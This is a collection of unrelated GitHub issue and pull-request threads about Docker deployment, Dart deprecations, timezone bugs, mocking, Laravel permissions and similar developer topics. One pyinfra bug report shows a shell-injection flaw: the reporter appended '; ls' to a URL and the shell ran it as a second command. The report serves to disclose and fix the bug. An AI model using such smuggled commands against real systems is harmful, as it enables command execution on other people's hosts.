Adds cloud-init systemd HOWTO for lbrycrd on DigitalOcean

Hi there!
I wanted to have an automated and self-contained script for deploying lbrycrd to docker on DigitalOcean, so I created this little howto.
I utilized the main Dockerfile in this repo as a base, but I have made several changes (mostly removed all of the TODOs as they were not necessary for this use-case.) Instead of replacing the original Dockerfile I chose to just create another directory for mine, as it's a different strategy for deployment.
If this gets merged, there is some cleanup that needs to occur afterward. The README links to my own docker-hub image, but this can be setup under an lbry account so it has a more official home. The Dockerfile included is the exact same one used to create the current image on docker-hub.

Without having reviewed the container yet can you explain the reason you can't just go with a docker library official image as your base?  We really try to avoid adding technical debt/complexity as much as possible which keeps maintainability high.

Okay after reviewing your commit, I like the direction that you're taking with the addition of the README.md for a recipe for deploying this on DigitalOcean but I disagree with how the Dockerfile seems to regress from the intended functionality of the main Dockerfile and would want to know the benefits of switching to a less stateless form factor.
I'm looking forward to more commits and replies, but I'm not sure we need another Dockerfile for the same function.  I think that the TODO's need removed and converted into real GitHub issues that can get organized into the project management board if I haven't done so already.
To give some perspective on some of the design choices that I'd made at the time, the start.sh's goal is intended to offer the user the ability to set defaults with an externally injected config if they desire as well as allow them just to use environment variables and volumes.  Ultimately this thing should function by default with zero user interaction aside from just copying and pasting commands because we want a liquid smooth deployment experience so that people can get testing their ideas immediately.

Thanks for the quick detailed response.

I'm open to changing the "FROM ubuntu:18.04" I just copied that from the other Dockerfile.
I removed the start.sh because it was getting in the way of just using the arguments I needed. Instead, I chose to wrap it with a systemd service and a bash_alias to encapsulate lbrycrd-cli into a command. The upside is that now it's just a README and a Dockerfile.
We could add the start.sh back in, since you can still pass whatever command you want to a container that has a CMD. I would be opposed to making it an ENTRYPOINT though, because (IIRC) that would limit the interaction only to start.sh. (There's no good reason that the docker container for lbrycrd should be less flexible than the binary itself.)

I'll see if I can rework what I have with your existing container. Does an image exist on the docker hub? I couldn't find it, if it does.

Some of the design changes to my Dockerfile were:

If you make all of your RUN as one single RUN,  it will mean that the image tree size is smaller. (Each RUN and COPY creates its own successive docker image.)
It would be good to bring the version up to the top as an ARG.
Treat the config file location as seperate from the data volume (more configurable to end users)

I'll see if I can rework what I have with your current container. Does an image exist on the docker hub? I couldn't find it if it does.
It's not been added to Docker hub, and I do however have access to put it there. Unfortunately, we ended up at a few blocking points the last time I had a moment to post the containers mainly that they won't build automatically without having to modify the Travis-CI.yml files for the upstream repositories.  I was attempting to get the Dockerfiles accepted into the upstream repositories themselves so that when a new version is pushed it would build in the Travis-CI
I am aware of the number of layers being a bit high this was the initial 1.0 we're eventually going to optimize significantly.  My priority was stateless and maintainability.  Then I was going to re-double down on making certain security is top notch etc and expand on examples.
There's a good number of priorities laid out in the boards but I'm flexible and 100% interested in any other contributors its great having external interest.

I realize now your first question was in regards to the docker host image, not the container image. So I'll explain a bit my thoughts.
I think that the "container distros" like CoreOS, Fedora Atomic, Rancher are great, and if you're using Kubernetes, even better. However, they are quite difficult to work with if you are a novice user. Ubuntu is much more well understood. If a user needs to edit the config file, they need a real OS, that has a package manager, so they can install Emacs. It needs state. This is the exact opposite of what you want in the enterprise worlds, where you treat every thing as "cattle". But in this case I think we want to grow a decentralized network of users running lbrycrd. That means a lot of users running single nodes. The extra hurdles needed to learn about container OSes is an extra burden to users.
Systemd is great at configuring single nodes. It's baked into every linux distro out there (pretty much). It has a really consistent interface and good automation support. One of the nice things about containers is it frees people up to deploy them however they want. So systemd isn't for everyone. That's why I seperated this from the other directory, as I didn't care to use docker-compose. Perhaps this README should just live on a wiki? That way we can focus this repository just on the image itself.

I'll leave it up to @EnigmaCurry as to whether or not you wish to modify this PR or submit a new one.

I would need to modify start.sh to not create the config file, in order to be compatible with what I have. I think it is more configurable to allow the user to specify the whole config file rather than use individial environment variables for each of the items. So I can't use your container as is. Also it's weird that the config file lives in the data volume, but is overwritten each time. So it may appear that you can edit the config in the data directory, but if you do, it will just be overwritten the next time start.sh runs.

So to follow up on this last comment @EnigmaCurry the start.sh file should only edit if there's an alternative setting.  You could use sed, grep, and awk to achieve these goals.  It's okay albeit not ideal to miss a few config settings; however ideally you want to set some defaults that work.
My original goal was to abstract a few default settings to a RUN_MODE env-var which would pre-set a few things to function in various modes like Regtest and so on.


Dart roll to the engine is stopped.

The engine roll to the framework started failing at https://github.com/flutter/engine/pull/50437, which contained the Dart roll at https://github.com/flutter/flutter/pull/143099, which contained https://dart.googlesource.com/sdk.git/+/7ef215a4a5ec884dd147c51a0a87c2a7d35a4b94, which deprecated unmodifiable typed data views.
That change appears to be breaking analysis of plugins:
Running command: "dart analyze --fatal-infos" in /b/s/w/ir/x/t/flutter_packages.OXOEAL/packages/image_picker/image_picker_platform_interface
Analyzing image_picker_platform_interface...

   info - lib/src/types/picked_file/html.dart:30:38 - 'UnmodifiableUint8ListView' is deprecated and shouldn't be used. Use Uint8List.asUnmodifiableView() instead. Try replacing the use of the deprecated member with the replacement. - deprecated_member_use

1 issue found.

From
https://ci.chromium.org/ui/p/flutter/builders/try/Linux flutter_plugins/64343/overview
That package will need to be migrated before the deprecation can roll into the framework.

cc @stuartmorgan @rakudrama

If the replacement isn't available yet on stable, you can file an issue describing the migration, and then add an analysis suppression to that line with a comment linking to the issue, which will unblock the roll.

The replacement API (Uint8List.asUnmodifiableView()) is not available in the Dart 3.2.6 SDK used on the current Flutter framework stable branch.

Could we adopt a protocol which does not require Dart SDK deprecations to be blocked on Flutter changes? Deprecations are non-breaking. Flutter team decided that they want to break their builds on deprecations - that's fine. But this does not imply that Dart SDK has to be affected by this.
The current approach is causing a lot of unnecessary churn for us on the Dart SDK side.

Could we adopt a protocol which does not require Dart SDK deprecations to be blocked on Flutter changes?

For flutter/packages, https://github.com/flutter/flutter/issues/108555 is the most likely thing that would change that behavior. Feel free to add discussion there, or file a more general tracking issue.

Could we adopt a protocol which does not require Dart SDK deprecations to be blocked on Flutter changes? Deprecations are non-breaking. Flutter team decided that they want to break their builds on deprecations - that's fine. But this does not imply that Dart SDK has to be affected by this.
The current approach is causing a lot of unnecessary churn for us on the Dart SDK side.

@jonahwilliams and I have proposed modifying the Flutter team policy around deprecations.
I'll start a thread internally and we can chat more.

When https://github.com/flutter/flutter/pull/143161 lands in the framework, we can restart the Dart -> Engine rolls. cc @jason-simmons @chinmaygarde

The dart to engine roller is running again, closing.


Dynamically calculate current bar

I noticed the bar signal was triggered one beat too late, and the  current_bar value was getting inconsistent on each loop. This fix removes the b2bar variable, and instead uses modulo and a floored division to check more accurately the value of the bar. It also fixes the beat signal, which was triggered twice on the loop end/beginning
This required a beat_index variable, that goes from 0 to N (N being the number of beats in a loop). At first glance it looks redundant with current_beat (which goes from 1 to N), but it actually allows to keep a similar behavior between the first loop and the ones afterwards. current_beat doesn't have the same behavior on the first loop and the ones afterward: at first it starts with 1, the goes to N, then N+1… But N+1 being both the last beat of the loop and the first beat of the next one, it means that it goes back to 1! Thus there was a need to differentiate the 1 of the first loop, and the 1 of the end for next loops. Having a separate value beat_index solves the ambiguity of the beat N/0.
With these changes the bar signal is actually triggered on the bar (including the first one), current_bar has a consistent value, and when looping the beat signal is triggered only once.

Pure, common-sense programming here. Thanks for cleaning this up.


Date of test (scan) in UI off by 1

Issue Type

[X] Bug

Description
When importing a scan via UI or APIv2, the date that is displayed afterwards in the DD UI is off by one (1 day earlier)
If the issue is a bug, please also include the following:
Operating System
Debian 9
Install

[X] setup.bash

DefectDojo Version
dev branch 22/3/2019 (46692a0f7bf568f5739d093ab0e4d2ef6733faf6)
Steps to Reproduce
import a npm audit scan into an engagement using UI or APIv2. Select today as import date.
For example attached report.json.
Observe after import the date column for the scan displays yesterdays date

report.json.txt

Did some testing with scans uploaded just now, scan_date = '2019-04-25' provided in api v2 upload.
Results in 2019-04-24 in database as target_start and target_end. The created and updated columns look alright (2019-04-25):
MariaDB [DojoDB]> select * from dojo_test order by id desc limit 5;
+-----+-------------+----------------------------+----------------------------+----------------+-------------+------------------+----------------------------+----------------------------+---------------+----------------+---------+--------------+
| id  | description | target_start               | target_end                 | estimated_time | actual_time | percent_complete | updated                    | created                    | engagement_id | environment_id | lead_id | test_type_id |
+-----+-------------+----------------------------+----------------------------+----------------+-------------+------------------+----------------------------+----------------------------+---------------+----------------+---------+--------------+
| 747 | NULL        | 2019-04-24 22:00:00.000000 | 2019-04-24 22:00:00.000000 | NULL           | NULL        |              100 | 2019-04-25 13:31:55.208353 | 2019-04-25 13:31:55.208380 |           421 |              1 |    NULL |            2 |
| 746 | NULL        | 2019-04-24 22:00:00.000000 | 2019-04-24 22:00:00.000000 | NULL           | NULL        |              100 | 2019-04-25 13:27:39.102271 | 2019-04-25 13:27:39.102296 |           412 |              1 |    NULL |            2 |
| 745 | NULL        | 2019-04-24 22:00:00.000000 | 2019-04-24 22:00:00.000000 | NULL           | NULL        |              100 | 2019-04-25 13:27:07.356461 | 2019-04-25 13:27:07.356498 |           412 |              1 |    NULL |            2 |
| 744 | NULL        | 2019-04-24 22:00:00.000000 | 2019-04-24 22:00:00.000000 | NULL           | NULL        |              100 | 2019-04-25 13:26:34.959157 | 2019-04-25 13:26:34.959187 |           412 |              1 |    NULL |            2 |
| 743 | NULL        | 2019-04-24 22:00:00.000000 | 2019-04-24 22:00:00.000000 | NULL           | NULL        |              100 | 2019-04-25 13:23:53.050969 | 2019-04-25 13:23:53.050996 |           421 |              1 |    NULL |            2 |
+-----+-------------+----------------------------+----------------------------+----------------+-------------+------------------+----------------------------+----------------------------+---------------+----------------+---------+--------------+

BTW created and updates are 2 hours off, which could be because the timestamps are in UTC and I am living in CEST which is UTC+2. target_start looks to have the same 2 hour difference, so maybe the display logic is not respecting the timezone.

OK, so I have found the timezone setting in settings.py and changed it to DD_TIME_ZONE=(str, 'Europe/Amsterdam') but it doesn't make any difference. Anybody familiar with timezones in django and/or DefectDojo to know what to do? It's pretty confusing to have (some of) your dates off by one.

Just observed these warnings in the logs:
/usr/local/lib/python2.7/dist-packages/django/db/models/fields/__init__.py:1393: RuntimeWarning: DateTimeField Test.target_start received a naive datetime (2019-04-25 00:00:00) while time zone support is active.
  RuntimeWarning)
/usr/local/lib/python2.7/dist-packages/django/db/models/fields/__init__.py:1393: RuntimeWarning: DateTimeField Test.target_end received a naive datetime (2019-04-25 00:00:00) while time zone support is active.
  RuntimeWarning)

As discussed on Slack with @valentijnscholten  I'm having a look and going to propose something for these timezone issues. @aaronweaver could you please check my right on GitHub? My reviews of PR still don't count for merging, neither can I assign an issue to myself, thanks!

@ppiotr3k You should be set I confirmed your access earlier this afternoon. Regarding timezones I know there was some work done on this awhile back. I remember Patrik Nordlen did some work on that. Might want to review those PR's.


Unescaped string passed to wget / curl in files.download

Hi,
I just started using pyinfra and so far I like it 🚀, I think I found a tiny little annoyance in the code, so I'm documenting it here hoping that the magic of the Internet ✨ will help someone else in the same situation.
TL;DR:
https://github.com/Fizzadar/pyinfra/blob/6013c813a8eeef63be8c610b76b5dac642b3a7dd/pyinfra/operations/files.py#L116-L117
The string passed as input must be shell escaped (&, ;, etc.)

I used the following code to install VSCode from a deb url
from pyinfra.operations import apt
url = "https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64"
apt.deb(name="vscode", src=url)

When I executed the code using wget I've got this error message -> sh: 1: -O: not found:
--> Starting operation: vscode
    [pyinfra.api.operations] Starting operation vscode on @local
[pyinfra.api.connectors.local] --> Running command on localhost: sh -c 'wget -q https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64 -O /tmp/pyinfra-d7b2807d7bab7b216bca33fe176ce152e4bedbf5 || (rm -f /tmp/pyinfra-d7b2807d7bab7b216bca33fe176ce152e4bedbf5; exit 1)'
[pyinfra.api.connectors.util] --> Waiting for exit status...
[pyinfra.api.connectors.util] --> Command exit status: 1
    [@local] sh: 1: -O: not found
    [@local] Error
    [pyinfra.api.state] Failing hosts: @local

And a similar error message occured on curl -> sh: 1: -o: not found:
In both cases, the ampersand & in the URL was evaluated by the shell (and any other shell constructs could potentially do the same, I've tested with ; ls at the end of the url and got shell output). A quick and dirty fix was to trick the shell and escape the & in the URL:
url = url.replace("&", "\&")

Other fix can include, but are not limited to:

add single quotes to the wget/curl calls '{0}'
check the src parameter using urllib's urlparse
let it be 🎶

Hi @s-vx, glad to hear you are enjoying using pyinfra :) This is indeed a bug I can't believe I missed this at the time! Fix pushed in https://github.com/Fizzadar/pyinfra/commit/0e34c21a7565b840bd5e1538dc876828e3fac47b which just makes the 1.3.2 cut which I shall release v.shortly!

Hi @s-vx, glad to hear you are enjoying using pyinfra :) This is indeed a bug I can't believe I missed this at the time! Fix pushed in https://github.com/Fizzadar/pyinfra/commit/0e34c21a7565b840bd5e1538dc876828e3fac47b which just makes the 1.3.2 cut which I shall release v.shortly!

Now released in v1.3.2!

Now released in v1.3.2!


Same header file name, need to mock both file, how to?

Here is the my tree view:
/src/A/fileA.h
/src/fileA.h
/src/fileB.c
/src/fileB.h
/test/test_fileB.c

In fileB.c, I have:
#include "A/fileA.h"
#include "fileA.h"

I want to mock both fileA.h
How can I do that with ceedling?
Ceddling allows me to add
#include "mock_fileA.h"

So it chooses ONLY the first fileA in the :source: path

I'm also interested in this issue. if the file name is not unique, CMock just generates the first one found in the path.
So I think there should be a feature that designates subdirectories for the mocks.
@mvandervoord
Has there been any more discussion about this?  Is there some workaround I'm missing?

@mvandervoord worked on it on last release but failed to add the feature due to too many under-the-hood changes and a solution that can break retro-compatibility.
I hope they'll find a solution soon

I am also interested in this feature. Any progress? thanks.

This would be very helpful

@mvandervoord any update on this?

any update on this?

The soon-to-be-released Ceedling has a lot of internal changes that are working towards fixing problems like these. It solves part of the problem, in that it will match the best header file for a given situation now, but we still aren't to a point where we support matching multiple headers of the same name within the same test. That still IS on our goal list, but requires a few more changes.
The upside is the redesigned internals should be much more flexible for all sorts of "fun" situations like these when it's finished.


Error starting container: container id XYZ cannot be mapped to a host id

We're getting the following error when attempting to start a container using the image nikolaik/python-nodejs:python3.8-nodejs14-slim:
failed to register layer: Error processing tar file(exit status 1): Container ID<PHONE_NUMBER> cannot be mapped to a host ID

This doc suggests the issue needs to be fixed by the image maintainer by updating a UID/GID in one of the image's files. Is this something can be looked into?
If this isn't something that should be addressed by the image maintainer feel free to close this, I'm not that well acquainted with Docker so a lot of the terms flying around here are a bit over my head.

Did a quick check with docker run nikolaik/python-nodejs:python3.8-nodejs14-slim find / -ls | grep -v root and all files in the image is owned by root (uid=0) .
I think this is happening because your are unpacking a tar archive which includes files with too high uid/guids (over 65535 ?).
Since this image Dockerfile has no USER set, the tar command is run as root. This means tar defaults to preserving file ownerships/permissions ie.  (according to man tar). Setting USER is probably the best long term fix for this ref.
If my thinking is not way off you should be able to work around this by adding the --no-same-owner parameter to your tar command.

I also encountered the same issue in Circle CI. I think I was able to find the file which is not owned by the root, but was possibly skipped by your grep command, because it contains root in file path docker run nikolaik/python-nodejs:python3.8-nodejs12 ls -ln /root/.poetry/lib/poetry/_vendor/py2.7/backports/entry_points_selectable.py. Could you check it @nikolaik?

I had the same problem, setting USER is not an option as I just want to use this image in circleci without rebuilding it myself.
The workaround I found is to pull with an old digest and it works as usual.
like
image: nikolaik/python-nodejs@sha256:bc965872c98c5da6464688cb0eb4ea19bbce2ca01a6d17362c882d71fc8487a7
instead of
image: nikolaik/python-nodejs:python3.8-nodejs12

I also encountered the same issue in Circle CI. I think I was able to find the file which is not owned by the root, but was possibly skipped by your grep command, because it contains root in file path docker run nikolaik/python-nodejs:python3.8-nodejs12 ls -ln /root/.poetry/lib/poetry/_vendor/py2.7/backports/entry_points_selectable.py. Could you check it @nikolaik?

Of course! I'll have a look. Thanks for pointing it out @szdziedzic

I had the same problem, setting USER is not an option as I just want to use this image in circleci without rebuilding it myself.

We would add the USER thing to these images, but since it is a breaking change we should probably add it conditionally when a new major version is released. F.ex with python 3.10 nad/or with node.js v17

So I made an attempt here in #30 Do anyone want to verify the fix?
You could do something like this to test:
git clone https://github.com/nikolaik/docker-python-nodejs && cd docker-python-nodejs && git checkout fix/poetry-install
pipenv install --dev
python build_versions.py --dry-run --debug -d slim --force
docker build -t testy -f debug-python3.9-nodejs16-slim.Dockerfile .
docker run -it testy find / -uid +65535 -ls

It looks all good! Thank you very much for quick reaction and your help 🙂 .

Thanks @nikolaik!


samples: add Python/Streamlit - Linear Predictor sample

Add Python/Streamlit - Linear Predictor
Description
This pull request includes an update to the hack/samples/index.json file to add a new sample project.

@prasantk2004 please sign your commit


Crash when filtered hopper collects item with non-empty block below

Crashlog: http://pastebin.com/7AcpAk32
So... I have done it again.  Tossed a potato into a powered hopper that was set to output into a dirt block.
Yay for breaking things.
:3c

Looks like it's related to the buoyancy addition. I'm currently trying to figure out why it can't find the reflection value, as the mappings for it seem correct, at least as of a few weeks ago.

http://pastebin.com/PL8yD5PN
You mentioned the EntityItemBouy function, I just produced another crash involving it by hooking up a handcrank to a millstone and grinding a flower.  When the dye popped out... ticking entity crash.

Yep, that's definitely the same source of the crash. I'll see what I can do about it.

Thanks, I'll do what I can to break it again~
Definitely very happy you brought this up to 1.10.2 so keep up the good work!

Welp, looks like the problem was a naming discrepancy between the MCP mappings and what the srgname for the field actually was. Don't know why the mappings are inconsistent, but at least it's fixed. Hotfix should be up soon.


OU-450: Use plugin-backend as default ENTRYPOINT

This PR looks to remove the backwards compatibility of the monitoring-plugin images and instead use the go backend

/hold

Doing test builds with ART

/unhold

/lgtm


[AES-CBC] Added more Unit-Tests

Description

Added a couple of tests to test and document the behaviour of the CBC functions in core/crypto/primitives/aes.go. Especially two edge cases when a message is encrypted with CBCEncrypt  attempted to be decrypted with CBCPKCS7Decrypt and vice versa. The work has been done with the assistance of @JonathanLevi.
Motivation and Context

We want to add more unit tests to lock/document and verify their correct/expected/standard/compliant behavior.
This is part of #2127 Add a family of AES-CBC related tests
How Has This Been Tested?

N/A. Should be covered in the future by make unit-test
Checklist:

[x] I have added a Signed-off-by.
[x] I have either added documentation to cover my changes or this change requires no new documentation.
[x] I have either added unit tests to cover my changes or this change requires no new tests.
[x] I have run golint and have fixed valid warnings in code I have added or modified. This tool generates false positives so you may choose to ignore some warnings. The goal is clean, consistent, and readable code.

Signed-off-by: Johannes Weissmann<EMAIL_ADDRESS>

Nice, always good to see more unit tests. Thanks! Added a few comments.

Yes, great work @starsheriff indeed. @srderson: To bridge the time-zone difference (between here and Europe) I quickly pushed a minor update as per the above suggestion. Thanks again.

p.s. Fixes #2166

Thanks, LGTM


Bugfix/issue129

Make sure these boxes are checked before submitting your PR - thank you!

[ ] Pull request is being merged to the develop branch.
[ ] There's a reference to an Issue which this solves.
[ ] For new features a sample has been added to the sample app
illustrating this feature's behaviour.
[ ] Commits are squashed to a single commit.

Hi @zawadz88,
I updated this PR, added StepperLayout#setShowBottomNavigation(boolean) method.
I changed the pull request merged to the develop branch.

Codecov Report

Merging #146 into develop will decrease coverage by 0.09%.
The diff coverage is 25%.

@@             Coverage Diff              @@
##             develop     #146     +/-   ##
============================================
- Coverage      46.95%   46.85%   -0.1%
  Complexity       116      116
============================================
  Files             24       24
  Lines            886      890      +4
  Branches          85       86      +1
============================================
+ Hits             416      417      +1
- Misses           406      408      +2
- Partials          64       65      +1

Impacted Files
Coverage Δ
Complexity Δ

...main/java/com/stepstone/stepper/StepperLayout.java
35.36% <25%> (-0.14%)
19 <0> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6dacb59...1c7084f. Read the comment docs.

@enizbilgin thank you for the changes!
I'll need to add to some documentation and tests, but this will be released in 3.3.0 in a couple of days.


Filesystem::makeDirectory() should not set hardcoded directory permissions (chmod 0775) by default, but should follow process umask

Laravel Version: 6.x, 5.x
PHP Version: 7.3

Description:
When creating directories, default behaviour of PHP's mkdir() is to follow process umask. Default umask for users on Debian/Ubuntu/CentOS/RHEL is 0777, so directories are created with permissions 0775. This is good, because it allows to write to storage directories by webserver and other privileged users in the same group.
The same behaviour is default for system mkdir command too.
The same behaviour is default for creating files in Filesystem::put(), or creating directories in Filesystem::copyDirectory(), or creating files in Filesystem::replace().
But Filesystem::makeDirectory() creates directories by default with hardcoded permissions 0755. This doesn't follow default behaviour of PHP, Linux or other Laravel methods, and it disallows other users (like developers, deploy or cron) to write to created directories.
I suggest to not set hardcoded permissions by default, but to follow default umask settings.
Steps To Reproduce:
Tests with default umask 0002 and different permissions.
Good:
developer@server:/srv/site/current/public/data$ php -r "var_dump(mkdir('test1'));"
bool(true)
developer@server:/srv/site/current/public/data$ stat test1
Access: (2775/drwxrwsr-x)  Uid: ( 1000/deployer)   Gid: (   33/www-data)

Good too:
developer@server:/srv/site/current/public/data$ php -r "var_dump(mkdir('test3', 0777));"
bool(true)
developer@server:/srv/site/current/public/data$ stat test3
Access: (2775/drwxrwsr-x)  Uid: ( 1000/deployer)   Gid: (   33/www-data)

Bad:
developer@server:/srv/site/current/public/data$ php -r "var_dump(mkdir('test2', 0755));"
bool(true)
developer@server:/srv/site/current/public/data$ stat test2
Access: (2755/drwxr-sr-x)  Uid: ( 1000/deployer)   Gid: (   33/www-data)

Workaround:
Specify 0777 permissions, following mkdir() default behaviour:
Storage::disk('public')->makeDirectory('directory', 0777);

This has always worked properly and we haven't had any issues with this yet. If you want to change the default for this it's probably best to open up an issue in the ideas repo. Thanks.

OK, opened suggestion: https://github.com/laravel/ideas/issues/1904

Is there any chance this issue can be reopened? It is still present in 8.27.0. It is causing problems in environments, where the web server (or php-fpm process) and other users (for example support users, or users running scheduled tasks) share the same group on the system, with umask set to 0002. In such cases users are not able to modify directories created.
It's strange that umask is respected for files but not for directories.
Steps To Reproduce:
❯ php artisan tinker
Psy Shell v0.10.6 (PHP 7.4.3 — cli) by Justin Hileman
>>> umask(0002);Storage::put('0002/0002.txt', 'writable by user and group');
=> true
>>> umask(0022);Storage::put('0022/0022.txt', 'writable by user');
=> true
>>> umask(0222);Storage::put('0222/0222.txt', 'writable by noone');
=> true

❯ ll storage/app
total 16K
drwxr-xr-x 2 slano slano 4,0K Feb 11 20:20 0002
drwxr-xr-x 2 slano slano 4,0K Feb 11 20:20 0022
drwxr-xr-x 2 slano slano 4,0K Feb 11 20:19 0222

❯ ll storage/app/????
storage/app/0002:
total 4,0K
-rw-rw-r-- 1 slano slano 4 Feb 11 20:20 0002.txt

storage/app/0022:
total 4,0K
-rw-r--r-- 1 slano slano 4 Feb 11 20:20 0022.txt

storage/app/0222:
total 4,0K
-r--r--r-- 1 slano slano 4 Feb 11 20:19 0222.txt

I can confirm this issue is still present in v10, even though I have set the permissions in config/filesystems.php (disks.public.permissions.dir.public in my case) to for example 0775 it still only get 0755 by default.
I am bypassing this issue as well by passing the 2nd parameter ie. in my case Storage::disk('public')->makeDirectory('files/dir1', 0775)

Like already mentioned in https://github.com/laravel/ideas/issues/1904

it also doesn't seem possible to do makeDirectory('directory', 0777) via the Storage facade anymore, which makes this even more important.

So, on Laravel 11 you can create:
app/Services/Filesystem.php
<?php

namespace App\Services;

class Filesystem extends \Illuminate\Filesystem\Filesystem
{
    private const LARAVEL_FILESYSTEM_DIR_PERMISSIONS = 0755;

    /**
     * @param $mode
     * @param $swap
     * @return int
     */
    private function swapMode($mode, $swap): int
    {
        if (!$swap) {
            return $mode;
        }

        $defaultDirPermissions = config('filesystems.default_dir_permissions', self::LARAVEL_FILESYSTEM_DIR_PERMISSIONS);

        if ($mode !== $defaultDirPermissions) {
            $mode = $defaultDirPermissions;
        }

        return $mode;
    }

    /**
     * @inheritdoc
     */
    public function ensureDirectoryExists($path, $mode = self::LARAVEL_FILESYSTEM_DIR_PERMISSIONS, $recursive = true)
    {
        parent::ensureDirectoryExists($path, $this->swapMode($mode, func_num_args() < 2), $recursive);
    }

    /**
     * @inheritdoc
     */
    public function makeDirectory($path, $mode = self::LARAVEL_FILESYSTEM_DIR_PERMISSIONS, $recursive = false, $force = false)
    {
        return parent::makeDirectory($path, $this->swapMode($mode, func_num_args() < 2), $recursive, $force);
    }
}

rebind \Illuminate\Filesystem\Filesystem with \App\Services\Filesystem in
app/Providers/AppServiceProvider.php
class AppServiceProvider extends ServiceProvider
{
    // ...
    public function register(): void
    {
        // ...
        $this->app->bind(\Illuminate\Filesystem\Filesystem::class, fn(\Illuminate\Contracts\Foundation\Application $app) => new \App\Services\Filesystem());
        // ...
    }
    // ...
}

and configure default dir permissions via config/filesystems.php parameter:
<?php

return [
    // ...
    'default_dir_permissions' => 0775, // for example, I needed permissions to allow group edit
    // ...
];


ADD-Contributing.MD

I would like to add contributing.md file to this repository,so anyone who want to contribute can  get understand.

Please assign this issue to me.

hey @sanjay-kv  ,I have sent PR.Kindly verify it and let me know any issues.

Hello @sanjay-kv , please assign this issue to me as I have already worked on this kind of problem in the past.


Cadence/Temporal torture testing

We need to perform some long running, high transaction rate tests against the .NET Cadence and Temporal clients.  We'd be looking for performance issues as well as memory leaks in the .NET and proxy processes.

CLOSING: Temporal is deprecated.  We're waiting for an official client.


Poorly worded statement

The page stages the following:

PackageReference is under active development: See PackageReference issues on GitHub. packages.config is no longer under active development.

This have had customers think this is a beta feature that shouldn't be used. Could the wording here be made clearer?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 6a154e5f-436d-6297-ec05-4d134a2404f9
Version Independent ID: 1c782e82-db9a-bf77-05ef-cd49374aee36
Content: Migrating from packages.config to PackageReference formats
Content Source: docs/consume-packages/migrate-packages-config-to-package-reference.md
Product: nuget
GitHub Login: @JonDouglas
Microsoft Alias: jodou

Thanks for pointing it out. The whole line seems unnecessary IMO. Reminiscent of the past :)

This issue was resolved via earlier PR


Updated the Map with ModeshapePermissions to WebAC access modes.

The actions String Array in the hasPermission method is defined by the AuthorizationProvider: https://docs.jboss.org/author/display/MODE/Custom+authentication+providers
The actions are explained in the javadoc: http://docs.jboss.org/modeshape/4.2.0.Final/api/org/modeshape/jcr/ModeShapePermissions.html

I am not sure if these modeshape permissions map to a webac access mode:
ModeShapePermissions.ALL_CHANGE_PERMISSIONS
ModeShapePermissions.ALL_PERMISSIONS
ModeShapePermissions.BACKUP
ModeShapePermissions.INDEX_WORKSPACE
ModeShapePermissions.MONITOR
ModeShapePermissions.READONLY_EXTERNAL_PATH_PERMISSIONS
ModeShapePermissions.UNLOCK_ANY

@mohideen can you rebase this PR. Also, I agree with @whikloj about excluding CREATE_WORKSPACE, DELETE_WORKSPACE and RESTORE. I think, however, that REGISTER_TYPE and REGISTER_NAMESPACE may be appropriate to keep. Thoughts @awoods?
Also, I didn't see ADD_NODE, which seems appropriate to include. The full list of actions is here: http://docs.jboss.org/modeshape/4.2.0.Final/api/org/modeshape/jcr/ModeShapePermissions.html

REGISTER_NAMESPACE seems like an expected action. I believe we limit REGISTER_TYPE to just CND configuration, in which case it should be safe to omit.

+1 to @acoburn for ADD_NODE

So to recap we remove
REGISTER_TYPE
CREATE_WORKSPACE
DELETE_WORKSPACE
RESTORE

and we add
ADD_NODE
the rest is fine.


Quality assurance

Track any single production unit through all maschines + setups to quaranty quality and track down issues.

close #90


TypeScript

Hi,
I came across this lib and I think it is pretty useful but it cannot be easily used in TypeScript projects.
Are you fixed on Flow or would you be ok to migrate to TypeScript?
If you are fixed, I can just provide typings (already started writing them) to repo which you will just have to include in the build and publish.

Hi @murbanowicz,
We will stick with Flow, but it'd be great to add TS typings, so if you want to create a PR we will be more than happy to merge it and republish the package.
I've personally never used TS, but I guess it will be easy to include the typings, right?
Thanks!


fix --exit flag in dev/devicelab/bin/run.dart

Fixes #134154
This PR also changes the default value of the --exit flag from true to false. Effectively, this is not a change in behavior since --exit didn't previously work.
Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I signed the CLA.
[x] I listed at least one issue that this PR fixes in the description above.
[x] I updated/added relevant documentation (doc comments with ///).
[x] I added new tests to check the change I am making, or this PR is test-exempt.
[x] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

test-exempt: test tooling


Finish implementing Result

Here's the reference implementation in TypeScript.
List of things to implement: TODO
Notes

As noted, the Ok.IsOk() and Err.IsErr() methods should be simple properties, not methods. (The reason they were methods in the TS implementation was so they could be used for "type narrowing.")  I would keep the Result.IsOk() and Result.IsErr() static methods which are useful for checking them in a "functional" style.
We probably don't need any of the aliases from the original implementation, because they are just there for ease of migration from other JS libraries.
ap is named ap instead of apply only because apply already has a usual meaning in JS. I don't think that's the case here, so using Apply makes way more sense to me.

On curried methods
It's certainly not difficult to supply overloads of the functions for a "functional" style—but it's also not especially idiomatic in C♯ from everything I've seen, so the value proposition seems lower. If folks want it, my thought is we can add them in e.g. a 1.1 release—but I'm happy to help get them shipped if it turns out people do really want them!

I think the only real case for methods here would be in a function composition scenario, and there isn't one in C♯, to my knowledge.

Clarification: you said "for methods"; I assume you meant "for curried methods"?

I didn't say any of those words 😄 .  I was just unsure how these methods could be used in C♯ where properties wouldn't actually do better - although now that I've slept on it, it does occur to me that the methods would support a functional style via Linq (e.g., resultList.Where(Result.IsOk)).

Totally concur that a direct port isn't desirable!
I do think there's a lot of value in things like you suggest there, as well as for any case where it is desirable to do a more functional style with Func etc.

Going to close this in favor of #14.  I suspect properties should still be part of the more explicit API, but hopefully we can go with the flow of the typesystem and mostly make them unnecessary.


Remove lazy-lock.json from .gitignore

It's recommended to have lazy-lock.json under version control. See https://lazy.folke.io/usage/lockfile.
